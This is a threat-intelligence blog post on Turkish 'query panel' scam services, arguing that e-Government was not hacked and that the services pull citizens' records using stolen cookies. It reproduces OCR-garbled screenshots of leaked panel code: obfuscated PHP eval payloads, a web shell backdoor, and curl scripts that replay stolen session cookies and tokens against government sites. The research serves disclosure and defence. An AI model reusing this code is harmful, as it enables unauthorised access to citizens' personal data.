Was Turkey’s e-Government
Hacked?

written by Mert SARICA | 21 June 2023

First of all, let me start by saying what I will say at the end: “No, it was
not hacked!” So can you breathe a sigh of relief as a Turkish citizen in this
situation ? Unfortunately no. You can read the reason for this in the rest of
the article.

When you look at the origins of occasional news headlines such as “e-
Government Hacked!”, “e-Government data stolen!”, “Identity information of 85
million citizens stolen!” (#1, #2), you can see that they are mostly caused
by scammers, cybercrime organizations who share their advertisements on
platforms like Telegram, ICQ, Discord, forums, trying to market their
services.

When examining these advertisements, you can observe that cybercrime
organizations provide access services or facilitate access to citizens' data
through websites, Telegram channels, and Discord rooms that they establish
under the name of “Query Panel/Checker.” These services are sometimes offered
in exchange for a fee, while at other times they are provided free of charge.


https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://www.cumhuriyet.com.tr/turkiye/son-dakika-e-devlet-verileri-calindi-tc-kimlik-numaralari-bile-gozukuyor-2089112
https://www.sozcu.com.tr/2022/gundem/emniyetten-e-devlet-hacklendi-iddialariyla-ilgili-aciklama-7108698/
https://telegram.org/
https://icq.com/
https://discord.com/
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After seeing these, I can understand that the question “But how?” 1is
troubling your mind with concern. To find an answer to this question, I have
decided to make the most of the resources at my disposal as a professional
working at SOCRadar Cyber Threat Intelligence company, which closely monitors
the every move of cybercriminals, scammers, and threat actors, and warns its
clients about them.

To begin, I embarked on a brief exploration of Telegram channels monitored by
SOCRadar’s XTI platform.

During my search for query panels, I noticed that in some Telegram channels,
files related to these panels were being shared by certain individuals.


https://www.linkedin.com/in/mertsarica/
https://socradar.io/
https://socradar.io/extended-threat-intelligence/
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I have learned that the increasing competition among scammers over the past
1.5 years has led some to withdraw from the market while others have fallen



victim to hacking.
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Herkese selamlar arkadaslar, yapacagim agiklama sadece bizim iiyelerimize aittir.
Uve degilseniz sayfayr kapatabilirsiniz.Oncelikle kapatildigini siz degerli iiyelerimize maalesef bildirmek isteriz.

Yonetim ekibi bu zamana kadar higkimseye magdur olacagi bir durum yasatmamistir ve kapatildigi icin de magdur
etmeyecektir.

Kapatma sebebimiz bildiginiz iizere yaklasik 1,5 sene once agildi ve
ilk agildiginda bizim digimizda saglam olan maximum 3-5 saglam siteler vardi
fakat son zamanalarda o kadar bos beles siteler agildi ki isin cilki gikti,
higbir ciddiyeti yok ve haliyle bizim de artik hevesimiz yok.
1,5 sene oncesine kadar agin hevesli olarak bagladigimiz bu is artik bizim igin bikkinlik derecesine geldi

ve bi' onemi kalmad ayrica belirtmek isterim ki en biiyiik mafya devlettir ve boynumuz kildan incedir.

Fakat bu durumda bile siz degerli iielerimiz magdur olmamasi adina Uyelikleri olan miisterilerimize para iadesi
yapilacaktir.

Asagidaki butona tiklayarak iiyeliginizi sorgulayip ardindan mevcut iiyeliginizden kalan giin kadar
iicretinizi belirleyeceginiz IBAN adresine iadenizi alabilirsiniz.
ade isleminden sonra 2 is giin icerisinde iicretiniz hesabiniza aktanilacaktrr.

Uyelerimiz her zaman bizim destekilerimiz oldu, kisacasi ilk goz agrimiz. iyi ki varsiniz, iyi ki vardiniz %
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To learn how query panels function, I began closely examining the shared
files (source codes). In some of these source codes, I noticed that scammers
had implemented checks for Turkish Identification Number (TCKN) information,
which I presumed to be related to acquaintances or relatives. For example,
when someone attempted to query this TCKN information on the panel, no
transaction would take place.
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SjqcufCQ+M1Q3G5 | _ 3 ” BwBNE2qI254kalI2g3K3dCYKHK3vPkypQfoRhT
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G3sRaR9w@pd1tKkHEHdoGZQgkHSRIuNub7G0QOwWHh/ cukcbn7 rvYcPERIF IPNStQPn+njxqzWUPTR30T583cv39n+f6578=")))));

root@Kali: ~

File Actions Edit View Help

GNU nano 7.2 eval_decoder.py

subprocess
sys
time

>
payload = "eval(str_roti3(gzinflate(str_roti3(base64_decode( LUnHFq:«\J[)U','ail‘.x7\15uYFG7GHtG(11'CFULZ7~0XYJYB1(\’Yl](S\’.”.'AI)!)j+r—if)el"d(AIj/jOy&F

(I=D)=
payload = payload.replace("eval”, "echo")
p = subprocess.Popen(['php', '-r', payload], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
payload = out.decode()

payload.find("eval”) = 0:
print("—m——")
print("Payload:")
print(payload)
payload = payload.replace("eval™, "echo")

print(payload)
sys.exit(1)

[ Read 25 lines ]
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root@Kali: ~
File Actions Edit View Help

eval(gzuncompress(base64_decode( 'eIxdyk1zoyAAgOGfO+wNvzrN7AkXFBDGBrRIVXSMMdbED7ChCf767173vT0zb/tdDStu7afzUN/azbH+ap/Dj1PbzKf/9XVbPpb55
gWbJ1zAN75e28SpHBGML7vtNLBnktG L ; ; ] [ 7 qL7TyP
RhU18md08SYF6mDovIMMGMAqMAukb ] sxgPo0
KNVOBfnHo30wUozvvsmx6TydCleE99 8Tjls5g
l1a . 1")));

Payload:

eval(gzinflate(base64_decode(base64_decode(str_rot13('ETAVLzkeFySODHEE ~ " " o MQEa
0J5SrRy jn3ADQRIMAZEYGH W4LGImHa
ODMKyS0JqPIHuU@LKAdDF9C DyD5Lxq0
ZIMkrwD1ARyyGauuJSugAC Legmt9"')
))));

Payload:

eval(gzinflate(base64_decode(str_rot13('Q

IX3 W A o SR i s W, TTITW

XGfRhZuSwd+zyshgdxMHAj1IBAbfUh6r/jR="))));

Payload:

eval(gzinflate(str_rot13(base64_decode( 'BcHi jgGCPA2
67khRPc .

Payload:

eval(gzinflate(base64_decode( 'y
if ($tc = "2185 Eal|N$tc — "368

In some of the source codes, I discovered the presence of backdoors (web
shell) that were embedded to allow scammers who downloaded these source codes
to infiltrate websites at a later stage.

Name Date Modified Kind

> @ masterpanel Today at 20:24 -- Folder
Today at 19:21 74 KB Docume

a

A Avast File Shield alert T

Multiple threats
adsoyadv3.php is infected with malware: PHP:BackDoor-EP [Trj]

MOVE TO QUARANTINE @



https://www.imperva.com/learn/application-security/web-shell/
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) @ adsoyadv3.php

4P  adsoyadv3.php

/* Configurasi */

auth_pass = "4a9237545e7e6da7bf@c47e4be57186¢";//
color = "#00ff00";

default_action FilesMan';

default_use_ajax

default_charset = 'UTF-8';

function 0A
7>
DOCTYPE

name="viewport" content="widht=device-widht, initial-scale=1.0'
nam author" content:
HACKED BY - t.me/r * g
rel="icon' type='image/png' href='https://cdn.discordapp.com/attachments/1006144051613016157/1042036729865044070/A1iRoswellPP.png
r stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/ @/css/bootstrap.min.css
stylesheet" href="https://use.font ome.com/releases/v5.7.1/css/all.css

bg-dark text-light
container" style="margin-top: 15%'
—-center pb-5">HACKED BY - t.me/
post

password" n pass" placeholder="Hacked IP" c form-control
submit" class="btn btn-danger btn-block" class="form-control" value="Login

href="https://t.me/ class="text-muted fixed-bottom">Copyright 2023 @ HACKED BY

When I searched for the signatures (aliases/nicknames) of threat actors
mentioned in the source codes within the SOCRadar XTI platform, I obtained
the opportunity to identify which Telegram channels they were associated with
and read the messages related to them. This is an incredible opportunity for

cybersecurity professionals and law enforcement officials!

) B index.php

4> index.php

<th sty color: red">'.$row["status"].'</th

if ($row["rank"] webmaster'){
<th><span style="background: url(./assets/gif/simsek.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px 1@px; 15px red; color: rei
row["rank"]. '</span H
} elseif ($row["rank"] == 'admin’){
<th><span style="background: url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-size: cover; text-shadow: @px @px 1@px; 1@px aqua; color: aqua;">|
row["rank"]. '</span></th>";
} elseif ($row["rank"] Yillik'){
<th><span style="background: url(./assets/gif/sparkles.gif); background-repeat: no-repeat; background-si cover; text-shadow: @px @ 10px; 1@0px lightgreen; color:
lightgreen;"> row["rank"] H
} elseif ($rowl["rank"] ==
h>'.$row["rank"].'</th>";

row["rank"].'</th>";
<form id="edit_form" action="configuration" method="POST">';

" type="hidden" na advanced">
<button type="button"id="conf" style="margin-left: 20px;" onclick="javascript:config( rowID.')" class="padd btn btn-outline-warning">Diizenle</button></tk

<th><button typ button" onclick="javascript: d rowID. ')" id="delete" class="padd btn btn-outline-danger">Sil</button></th></tr>"';

} >

class="author
Created with class="fa-solid fa-heart by jemoisika/xbozk@rt/zeox
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4 P functions.php

<7php
customCSS
customJAVA
customCSS
<link href
<link rel="icon" href

<link href="../assets/plugins/DataTables/style.css" rel="stylesheet">

)

e L e R e s e EV e e D agilant pp
page_title Kullanici Sil';
include '../../uo/uo/ . /admin/

('Europe/Istanbul');
nowDate ("d.m.Y");
sl ['sil'])) {
sil (
query DELETE FROM
if ($conn-> (Squery) ) {

success KULLANICI BASARIYLA SILINDI';
('location: /pozo_fayuj_minik');

['sil']);
sh_kullanici

} else {

}

("Location: /bozo_fayuj_minik");
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./assets/plugins/DataTables/datatables.min.css" rel="stylesheet">
'https://quarex.pro/assets/images/quarexlogox2.png" type="image/x-icon" />',
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When it comes to understanding how access to citizens’ information was
obtained through these query panels, my research on the source codes
belonging to three different panels revealed two different methods.

In the first method, the queries made through the panel were forwarded to
other systems, belonging to the same or different scammers, such as Web APIs.
From there, it is highly likely that they were transmitted to websites
(government, university, etc.) with authorized access using stolen account
credentials (cookies). The responses were then relayed back to the
users/persons who made the queries following the same path. To summarize the
communication flow:

User <-> Query Panel (Belonging to the scammer) <-> API (Belonging to the

scammer) <-> Website (authorized access through stolen account cookies)

D api.php

api.php

|<?php
require '../../../server/PD0.php";

('Content-Type: application/json; charset=utf-8');

["tc"1)){
["tc"1);
("http://20.67.48.150/apiservice/tc/api.php?auth= &tc=$TC&Response=LETS_DO_IT&X-Requested-By=
["HTTP_HOST"1) ;

["ad"]) && ( ["soyad"])) RSN
["ad"1);
["soyad"]);
["it');
("http://20.67.48.150/apiservice/tc/api.php?auth=c &tc=$TC&Response=LETS_DO_IT&X-Requested-By=
["HTTP_HOST"1) ;

($X);
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4P apiphp

<?php
include "../../server/authcontrol.php";
("display_errors", 1);

(ERAE)E

( ['tc']);

ch ();
($ch, CURLOPT_URL,
X8F6 rdY9IKx5munwV

gjyt5RTjDbKRzBYVMghzp3VZ3A75bwN24 ragzKZTF8VsbtvEj2w82dDIRV]") ;

https://api.sheetdev.net/api/sorgu.php?tc=$tc&action=vesikalik&auth=GD36nT7Uu9bcDFhrD
q7YHRSLCkJ3

headers[] Accept: application/json";
0);

($ch);

headers

result

Vesika Sorgu", '"sxx$kadikx isimli llye xk$tckk icin sorgu yapti!");

($sorguURL, "Fayuj Sorgu BOT v24",

B api.php

api.php

?php
include
tc (

../../server/authcontrol.php";
['tc']);

include '../vdsip.php';

url http://".$ip."/apiservice/

bacislkenfayuj ($url);
(st fayuj, CURLOPT_URL, $url);

fayuj, CURLOPT_RETURNTRANSFER,

fayuj, CURLOPT_SSL_VERIFYHOST,

fayuj, CURLOPT_SSL_VERIFYPEER,

tapu/tapu.php?tc=$tc&auth=1

(5
(5
(5t

);

(sl DA

resp;

($sorguURL, "Fayuj Sorgu BOT v2", "Tapu ", '"xk$kadixk isimli lye *k$tckk icin sorgu yapti!");

@® [ fayujunisorgu.php

4)

1 F?php
include
tc (

fayujunisorgu.php

../../server/authcontrol.php";
['tc']);

include '../vdsip.php';

url http://".$ip."/apiservice/ /uni/uni.php?tc=$tclauth=

bacislkenfayuj = (
(st fayuj,

(st fayuj,

(st fayuj,

(st fayuj,

M H

resp;

($sorguURL,
yapti!");

Fayuj Sorgu BOT v31",

url);

CURLOPT_URL, $url);
CURLOPT_RETURNTRANSFER,
CURLOPT_SSL_VERIFYHOST,
CURLOPT_SSL_VERIFYPEER,

i);

Universite Sorgu",

sk$kadikxk isimli lye sk$tckk igin sorgu sxk$respik



What is an API?

APIs are mechanisms that enable two software components to communicate with
each other using a set of definitions and protocols. For example, the weather
bureau’s software system contains daily weather data. The weather app on your
phone “talks” to this system via APIs and shows you daily weather updates on
your phone. (Reference: Amazon)

In the second method, queries made through the panel were again transmitted,
this time without involving a Web API, to websites (government, university,
etc.) with authorized access using stolen account credentials (cookies), just
as in the previous method. The responses were then relayed back to the
users/persons who made the queries following the same path. To summarize the
communication flow:

User <-> Query Panel (Belonging to the scammer) <-> Website (authorized
access through stolen account cookies)

@ api.php

api.php

<?php

include "../../server/authcontrol.php";

("Content-Type: application/json; utf-8;");
tc = [Eechl
dogum = ['dogum'];

url = "https://enstitu. .edu.tr/aday/crud!bilgiGetir.action?yerli_kimlik_tc_kimlik_no=$tc
&aday_ad=asd&aday_soyad=asd&yerli_kimlik_dogum_tarih=$dogum

agent Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36';
ch =

ch, CURLOPT_URL, $url);

ch, CURLOPT_POST, 1);

ch, CURLOPT_POSTFIELDS,

ayricalik=ad, soyad,baba_adi,ana_adi,mahalle,medeni_hal,cinsiyet,dogum_tarih,cilt_no,aile_sira_no,sira_no,dogum_yer,il_pk,il_ad, ilce_pk
,ilce_ad,seri_no,seri,no,seri,no");

ch, CURLOPT_RETURNTRANSFER, 1);
ch, CURLOPT_USERAGENT, $agent);
curl_scraped_page = ($ch);
($ch);
json = ($curl_scraped_page,

("success" => "true", "data" => $json["adayList"]));

($sorguURL, "Fayuj Sorgu BOT v33", "Seri No SORGU", "sxk$kadikxk isimli lye sk$tckk numarasiyla sk$dogumik tarihli kisi igin sorgu yapti!");
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B fayujapix.php
fayujapix.php
[<?php

('display_errors', 0);

include "../../server/cookie.php";
include "../vendor/autoload.php";
use GuzzleHttp\ H

('Content-Type: application/json');
tc = [Echl;

client = new O
requestKimlik = $client—> (MGEI S *htEpsi//i 1.gov.tr/Common/FirmaSorgulamalslemleri/EsnafSorgulama’ . $tc, [
headers' => [
Accept application/json, text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/
signed-exchange;v=b3;q=0.9",
Accept-Encoding gzip, deflate, br",
Accept-Language en-US,en;q=0.9",
Connection keep-alive",
Content-Type application/json; charset=utf-8",
sec—-ch-ua Not A;Brand";v="99", "Chromium' ''98", "Google Chrome";
sec—ch-ua-mobile" => "?0",
sec—ch-ua-platform "Windows" "',
Sec-Fetch-Dest" => "empty",
Sec-Fetch-Mode" => "cors",
Sec-Fetch-Site same-origin",
User-Agent" => "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
X-Requested-With" => "XMLHttpRequest
1
1);

response = ($requestKimlik—> () (), Dy
if ($response["State"] 1) {
json_result = ($response["Result"] ["responseJsonStr"], )i
sayi = ($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"] [*sigortaliTumOrtakHizmetlerDtoList"]);
json_result ($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"]["sigortaliTumOrtakHizmetlerDtoList"] [$sayi - 1]);
(["success" => "true", "message" => "Bulundu", "data ($json_result, E response["Result"][
IsYeriAdres"11);
} else {

}

(["success false", "message Bulunamadi"]);




® @ api.php
4P apiphp
fc?php

tc = i'te 1}
('/~[0-91+$/",
if ( (stc)) {
result = (
success' => 'false',
'message’ => 'Hatali TC
);
}

cookie = "tzrw!

function ge ge($cookie)
{
i = 1
($ch, CURLOPT_URL, "http://i .gov.tr/A0L01001.aspx");
($ch, CURLOPT_RETURNTRANSFER, 1);
($ch, CURLOPT_SSL_VERIFYPEER, D
($ch, CURLOPT_SSL_VERIFYHOST, );
($ch, CURLOPT_USERAGENT, “Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/
)
(

ch, CURLOPT_COOKIE, "ASP.NET_SessionId=$cookie; kullanici=; ekranTipi=");
($ch);

@ B cookie.php

4P cookie.php

<?php

$cookie = "fbSavraaaaaaaaaaaaaaaa_session_=PHHJJMCNIBJOI ICDDGHEHLM
KLNMADKODAJGIDJMHBE( OFMGEBK; _ga=GA1l.3.488499337.1645105929;
_gid=GA1.3.1765686683.1645105929; Hsb=Kkc, - . ) lyd; _ RequestVerificationToken=dtXPJ48I1kdrklTQ@9tAz
uWgHe® r-UcdBX5yQh-KibrBBCv7CG YI3_qnPggY1l;
_gat_gtag_UA_116537410_2=1; f5avraaaaaaaaaaaaaaaa_session_=PMMPGDLNPHDHCONLO LH
DGDLMACMLGCNBBDDHFCOJIIPIMPI BHFEGFPCKMMHIGFF";
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© @ atsbilgi.php ™  Open with Xcode
Name Date Modified

R tcxd.php Dec 26, 2022
v @ adsoyad Feb 1, 2023 at $auth_key = "
B api.php Jan 13, 2023

v @ adsoyadpro Feb 1, 2023 at if($_GET['auth'] != $auth_key) {
. echo json_encode(array('success' => false, 'message' => ‘'auth key nerde : herif'));
api.php Jan1, 2023 a die();
v M aile Feb 1, 2023 at }else {
m $1 _proxy =" L]
R api.php Jan 3, 2023 a $I _proxyport = "5678";
- t $cookie = "ASP.NET_SessionId=ot! *hxh";
7 akrat?a Feb 1, 2023 a ot = §_GETI'te'] i
R api.php Jan 20, 2023 $ch = curlinit();
v M aol FE ] 2 Eﬁ;laze‘;?pt(ﬁh, s(-:U:!;ep;lt‘ﬁ:;'i/rapor/uyguIamasorguladetay?
n api.php Jan 21, 2023 2 criteria=%7B%22TcKimlik%22:%22$tc%22,%22HibeListele%22: false%s7D");
= . : curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
v M apiservices Feb 1, 2023 at curl_setopt (§ch, CURLOPT_HTTPGET, 1);
R adsorgu.php Jan 21, 2023 a curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, @);
B ssteip o e e k)
R annedencocuksorgu.php Jan 21, 2023 2 curl_setopt ($ch, CURLOPT_PROXYPORT, _proxyport);
- curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
R aol.php Jan 21, 2023 a curl_setopt ($ch, USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
R asi.php Jan 21, 2023 a Chrome/109.0.0.0 Safari/537.36");
R E curl_setopt ($ch, CURLOPT_HTTPHEADER, array(
R atsbilgi.php Jan 22, 2023 at 2 'Accept: application/json, text/plain, */*
R babadancocuksorgu.php Jan 21, 2023 2 .Accept-Encoding: gzip, deflate, br,
R 'Accept-Language: en-US,en;q=0.9',
R detayliadres.php Jan 21, 2023 a 'Authorization: JWT
48 1 )5YjYZzMmQyZWF iMmYil.C11c3Ii0iIONTgIMDCyM;
: gsmtc.php ) Jan 21, 2023 T
secmentc.php NELWARVIVER: ‘Connection: keep-alive',
0 2 'Host: .gov.tr'
B sinif.php B2, A 'Referer: https://. j .gov.tr/pages/src/',
R sms.php Jan 24, 2023 a 'Sec-Fetch-Dest: empty’,
s 'Sec-Fetch-Mode: cors'
n soyadsorgu.php Jan 21, 2023 & 'Sec-Fetch-Site: same—t’)rigin',
R tcgsm.php RELVARVIVEE: 'User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0
R tcsorgu.php Jan 21, 2023 Salag O3 SC
d ' acd ));
R universite.php Jan 28, 2023 2 . .
R vesika.php Jan 24, 2023 L © G GO RTE
> M asi Feb 1, 2023 at print_r($resp);
> M bina Feb 1, 2023 at 3 g £
> @ bomer Feb 1, 2023 at
Fah 1 20212 at

<?php
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Name Date Modified
——r . <?php
R api.php Feb 2, 2022 at error_reporting(0);
- E ini_set('display_errors', 0);
v @ fayujhane Feb 1, 2023 at
R api.php Dec 9, 2022 at
v @ gsmtc Feb 1, 2023 at
n api.php Feb 10, 2023 a header('Content-Type: application/json');

use GuzzleHttp\Client;

v [ ikametgah Feb 1, 2023 at $tc = $_POST["tc"];
_ B apiphp Jl 2, Avsle $client = new Client();
v [ isyeri Feb 1, 2023 at $requestKimlik = $client->request('GET', ‘'https:// .gov.tr/Takip/VakaTakip/GetVakaIsYeriBilgileri?
= n vakald=§hasta . $tc
B api.php.bak Feb 13, 2022 : “headers® => [ !
R api.php Jan 27, 2023 at 0 "Accept" => apphcatmn/]son, text/javascript, */x; q=0.01",
T Feb 1, 2023 at 'Accept-Encoding” def'Late, br",

neuhasus Feb 1, 2023 at "gonnection" 2 , ey
"Content-Type" => "application/json; charset=utf-8"
numara Feb 1, 2023 at $cookie, # SISTEN GIRTS COOKIEST

okul Feb 1, 2023 at
. . . "https://I ‘.gov.tr/Takip/VakaTakip/VakaTakipKayit",
omurlerkisadunya...irkereneolmusyani  Feb 1, 2023 at > 1" Not A; Brand" _"gg"' “Chromium";v="98", "Google Chrome";v="98"",

proxy Feb 1, 2023 at "'sec—ch-ua-mobile" => "?70
. "'sec-ch-ua-platform" '"Wmdows"‘,
B qwe Feb 1, 2023 at "Sec-Fetch-Dest" =
i "'Sec-Fetch-Mode"
sinif Feb1, 2023 at "Sec-Fetch-Site" "'same-origin",
sms Feb 1, 2023 at "User-Agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
95.0.4638.69 Safari/537.36"
sokak Feb 1, 2023 at "X-Requested-With" ;> "XMLHttpRequest"
soyagaci Feb 1, 2023 at 1
tepro Feb 1, 2023 at s

universite Feb 1, 2023 at $response = json_decode($requestKimlik->getBody()->getContents(), true);
if ($response["State"] == 1) {
vendor Feb1, 2023 at $json_result = json_decode($response["Result"] ["responselsonStr"], true);
vesika Feb 1, 2023 at $sayi = count($json_result["sigortaliBilgisi"] ["sgkSigortaliBilgileri"] ["sigortaliTumOrtakHizmetlerDtoList"]);
$json_result = json_encode($json_result["sigortaliBilgisi"]["sgkSigortaliBilgileri"]
wroxyadres Feb 1, 2023 at ["sigortaliTumOrtakHizmetlerDtoList"] [$sayi — 11);
wroxyvesika Feb 1, 2023 at echo json_encode(["success" => "true", "message" => "Bulundu", "data" => json_decode($json_result, true), "adres"

= TResult"] ["IsYeriAdres"]]);
yemeksepeti Feb 1, 2023 at )>e{;:s?on5e[ esult"] ["IsveriAdres"]])

K composer.lock Feb 1 2022 at echo json_encode( ["success" => "false", "message" => "Bulunamadi"]);
! }

R composer.json Feb 1, 2022 at

R 2022.php Jan 13,2023 a

B adsoyad.php Jan 8, 2023 at
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© @ api.php M  Open with Xcode
Name Date Modified
—_— v <?php
R api.php Feb 2, 2022 a error_reporting(@);
e B ini_set('display_errors', 0);
v [ fayujhane Feb 1, 2023 at
i Dec 9 2022 at include /../server/cookie.php";
= B apiphp e . include " /-./server/authcontrol:php";
v I gsmtc Feb 1, 2023 at

. api.php Feb 10, 2023 a include "../vendor/autoload.php";
v [ ikametgah Feb 1, 2023 at use GuzzleHttp\Client;

R api.php Jan 27,2023 a

isyeri Feb 1, 2023 at

B api.php.bak Feb 13,2022 at 0f %t€ = $-_POST["tc"];

B api.php Jan 27, 2023 at $client = new Client();
= o " $requestKimlik = $client->request('GET', 'https:// .gov.tr/Takip/VakaTakip/GetVakaOkulBilgileri?

v @ minecraft Feb 1, 2023 at vakald=ghastaTc=" . $tc, !

R minecraft.php.bak Feb 1, 2022 at e = 1 . , , J: asp.01

. "Accept" => "application/json, text/javascript, */x; q=0.01"

R minecraft.php Feb 2, 2022 a “Accept-Encoding” => "gzip, deflate, br", 0 o

v M neuhasus Feb 1, 2023 at "Accept-Language” => "en-US,en;q=0.9",
"Connection® i o

B smsbomber.php Jan 21,2023 a "Content-Type" “application/json; charset=utf-8",

v~ B numara Feb 1, 2023 at "Cookie" => $cookie, # SISTEM GIRIS COOKIESL =

header('Content-Type: application/json');

B api.php Apr 23, 2022 a 1 : .gov. tr/Tak1p/VakaTaklp/VakaTaklpKaylt“
v i okul Feb 1 2023 at "sec—ch—ua => '" Not A Brand",v—"99" ""Chromium"; 8", "Google Chrome";v="98"",
— - . "'sec-ch-ua-mobile" h
B api.php Feb 12, 2022 at 0 "sec—ch-ua-| platform i o,

B omurlerkisadunya...irkereneolmusyani  Feb 1, 2023 at "Sec-Fetch-Dest" =

>
> proxy Feb 1, 2023 at i same-origin",
>

qwe Feb 1 2023 at zilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

sinif Feb 1, 2023 at "X-Requested-With" & "XMLHttpRequest"
> i sms Feb 1, 2023 at 1; !

> I sokak Feb 1, 2023 at 1 @ @ )
B a $response = json_decode($requestKimlik->getBody()->getContents(), true);
> M soyagaci Feb 1, 2023 at if ($response["state"] = 1) {
> @ tcpro Feb 1, 2023 at echo json_encode( ["success" "true", "message" => "Bulundu", “"data" => $response["Result"]]);
= . " } else {
> M universite Feb 1, 2023 at echo json_encode( ["success" => "false", "message" => "Bulunamadi"]);
}

> @ vendor Feb 1, 2023 at
vesika Feb 1, 2023 at
wroxyadres Feb 1, 2023 at

# wroxyvesika Feb 1, 2023 at

The main reason for my strong assumption that stolen accounts are involved is
that when I searched for these abused websites on SOCRadar’s cyber threat
intelligence platform, I discovered that records containing access
credentials (stealer logs: usernames, passwords, cookies, etc.) were being
sold on the underground market. It is highly likely that certain threat
actors hack into the systems of users who have access to these websites and
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sell the obtained information (stealer logs) to other threat actors and
scammers. The statements mentioned in the video at the end of the article

also support this notion.
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Furthermore, in my research, I discovered that Web APIs also have a separate

underground market, similar to query panels.
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"okulbilgisi®: {
"okulnumarasi" 1 e
"ogrencidurum": "Aktif &grenci”

";racbilgisi": {
"sahipplaka": null
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<?php
//Dc:l Ulasabilirsiniz
$auth_keys = [" ");

$auth = $_GET['auth'] ?? null;

if (lin_array($auth, $auth_keys)) {
http_response_code(401);
exit("Girdiginiz auth yanlis ya da auth girmediniz");

}

header('Content-Type: application/json; charset=utf-8');
//BURAYI KENDI LOGININZE GORE DUZENLEYIN ANLAMASSINIZ DIYE GIRECEGINIZ YERLERI
//KOYDUM

$Cookie = "_ga_53QJE7B3ME=kendi loginine gére diizenle; _gid=kendi loginine gére diizenle;
_ga_W4LJ4GZT7N=kendi loginine gore diizenle; _ga=GA1.1.1052453498.1677348133; ASPNET_Sessionld=kendi loginine
gore diizenle; ASPXAUTH=/ ;; TS01fe7e76=kendi loginine gdre diizenle;
b_Admin_visibility=visible";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://arackiralama. 1.gov.tr/frm_arac_iade.aspx?
plaka=".strtoupper($_GET["plaka"]).'&id=17d8d0b1-3239-489a-a967-d33a9073d790&tur=1");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_HTTPHEADER, [

As I continued examining the source codes and took a look at the codes that
indicated which information could be obtained through these panels using the
Turkish Identification Number (TCKN), a rough overview of the information

that could potentially be accessed through these panels emerged, resulting in
the following table.



[ @ vipplus.php

4>  vipplus.php

page_title = 'TC VIP PLUS';
include( "' inc/t - main.php');
include('inc/header_sidebar.php');
include('inc/header_native.php');

class="row'
class="col-x1-12 col-md-6
class="col-1g-12
class="card
card-body"
ard-title mb-4">TC VIP PLUS
mb-1

Sorgulanacak Kisinin T.C. Nosunu Giriniz.
class="block-content tab-content
cla tab-pane activi tabpanel
form-control" type="text" name="tcno" id="tcno" placeholder="TC

name="tcno" id="sorgula" name="yolla" class="btn waves-effect waves-light btn-rounded btn-primary" style='
width: 180px; height: 45px; outline: none; margin-left: 5px; class="fas fa-search Sorgula
ick= ()" id="durdurButon" type="button" class="btn waves-effect waves-light btn-rounded btn-danger" style="width: 180
px; height: 45px; outline: none; margin-left: 5p. clas fas fa-trash-alt Sifirla
onclick: ()" id="yazdirTable" t button" ¢ btn —effect waves-light btn-rounded btn-warning" style="width: 180px
; height: 45px; outline: none; margin-left: 5px; class="fas fa—print Yazdir Detay

class="table-responsive
id="zero-conf" class="table table-hover" style="width:100%

CINSIYET:
DOGUM TARIHI
DOGUM YERL
NUFUS iL
NUFUS ILCE
MEDENI HALI
ANNE ADI
BABA ADI

ANNE TC

BABA TC
KIZLIK SOYADI
MAVI KART VARMI?
AILE SIRA NO
BIREY SIRA NO:
CILT NO

Vesikalik Sorgusu (AOL) ile Tapu Sorgusu ile TC Vip Sorgusu ile GSM Sorgusu ile Arag Sorgusu ile Ada Parsel Sorgusuile|  |Soyagaci Sorgusu ile Malik Sorgusu ile Ehliyet Sinav Sorgusu ile
Ad Kimlik No Ad GsM Plaka Mahalle No Yakinlik Malik No Oturum Tarihi
Soyad Tasinmaz No Soyad Ad Arag Markasi Zemin Durumu TC Malik Adt Sertifika Tl
Anne Adi Tapu Bilgisi Cinsiyet Soyad Arag Modeli Ada Ad Hisse Tipi Sinav Adi
Baba Adi Alt Tasinmaz No Dogum Tarihi Dogum Tarihi Arag Model Yil Parsel Soyad Tapu Bolim Durumu Sinav Puant
Ogrencilik Durumu Mahalle Dogum Yeri Anne Adi Arag Renk Pafta Dogum Tarihi Kisi Durumu Durumu
Okul il Niifus il Anne TC Arag Yakit Mevkii Adres Il Tesis Islem Tanim Ad
Ogrenci No lige Niifus lige Baba Adi Nitelik Adres lige Tesis Islem Tanim Tarih Ast Sorgusu ile
Son Aktif Dénemi Ada Medeni Hali Baba TC Vesikalik Sorgusuiile | [l Anne Adi Tesis Islem Yevmiye No Kisi TC

Parsel Anne Adi Adres I Ad lige Anne TC Bilgi Birim
Seri No Sorgusu ile Tapu Boliim Durumu Baba Adi Adres lige Soyad Mahalle Baba Adi Dogum Tarihi

Ad Tapu Durumu Anne TC Kimlik Fotografi Tapu Boliim Durumu Baba TC Isyeri Sorgusu ile Doktor TC
Soyad Nitelik Baba TC Segmen Sorgusu ile Alan Kimlik No Lot No
Dogum Tarihi Kat Kizlik Soyadi Kimlik No Vergi Sorgu ile Harita Sokak Sorgusu ile Sirket & Ad Soyad Uygulanma Tarihi
